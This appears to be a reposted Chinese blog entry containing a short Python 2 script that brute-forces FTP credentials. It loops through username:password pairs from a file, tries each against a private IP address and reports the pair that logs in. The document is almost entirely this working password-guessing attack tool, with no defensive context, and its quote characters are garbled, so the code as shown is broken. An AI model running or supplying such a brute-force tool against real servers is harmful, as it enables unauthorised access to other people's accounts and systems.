标签:
#coding:utf-8 #author:jwong import ftplib def bruteLogin(hostname,passwordFile): with open(passwordFile,‘r‘) as f: for line in f.readlines(): username = line.split(‘:‘)[0] password = line.split(‘:‘)[1].strip(‘\r‘).strip(‘\n‘) print "[+] Trying:" + username + "/" + password try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print ‘login success‘ ftp.quit() return (username,password) except Exception, e: pass print ‘could not brute force FTP credentials‘ return (None,None) if __name__ == ‘__main__‘: host = ‘192.168.21.104‘ passwordFile = ‘userpass.txt‘ bruteLogin(host,passwordFile)
标签:
原文地址:http://www.cnblogs.com/jwong/p/5574793.html